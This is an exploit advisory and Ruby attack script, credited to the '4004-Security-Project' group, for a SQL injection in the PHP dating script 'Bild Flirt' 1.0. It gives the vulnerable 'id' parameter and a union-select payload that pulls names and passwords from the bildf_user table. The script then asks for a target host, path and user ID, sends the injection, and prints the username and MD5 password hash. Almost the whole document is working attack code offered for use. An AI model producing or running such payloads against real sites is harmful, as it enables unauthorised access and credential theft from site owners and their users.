----------------------------Information------------------------------------------------
+Name :Bild Flirt <= version 1.0 SQL Injection Vulnerability Exploit
+Autor : Easy Laster
+ICQ : 11-051-551
+email : exploit@gaza.net
+Date : 14.04.2010
+Script : Bild Flirt <= version 1.0
+Price : 9,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101
---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : www.page.com/bildflirt/index.php?id=
+Exploitable : www.page.com/bildflirt/index.php?id=999999999+and+1=0+union+select+
concat(name,0x3a,passwort)+from+bildf_user+where+user_id=1--
-----------------------------------------------------------------------------------------
#!/usr/bin/ruby
#4004-security-project.com
#Discovered and vulnerability by Easy Laster
print "
#########################################################
# 4004-Security-Project #
#########################################################
# Bild Flirt <= version 1.0 SQL Injection #
# Exploit #
# Using Host+Path+userid #
# www.demo.de /bildflirt/ 1 #
# Easy Laster #
#########################################################
"
require 'net/http'
print "#########################################################"
print "\nEnter host name (site.com)->"
host=gets.chomp
print "#########################################################"
print "\nEnter script path (/forum/)->"
path=gets.chomp
print "#########################################################"
print "\nEnter script path (userid)->"
userid=gets.chomp
print "#########################################################"
begin
dir = "index.php?id=999999999+and+1=0+union+select+concat(0x23,0x23,0x23,0x23,0x23,name,0x23,0x23,0x23,0x23,0x23)+from+bildf_user+where+user_id="+ userid +"--"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe Username is -> "+(/#####(.+)#####/).match(resp.body)[1]
dir = "index.php?id=999999999+and+1=0+union+select+concat(0x23,0x23,0x23,0x23,0x23,passwort,0x23,0x23,0x23,0x23,0x23)+from+bildf_user+where+user_id="+ userid +"--"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nMD5 Password Hash is -> "+(/#####(.+)#####/).match(resp.body)[1]
print "\n#########################################################"
rescue
print "\nExploit failed"
end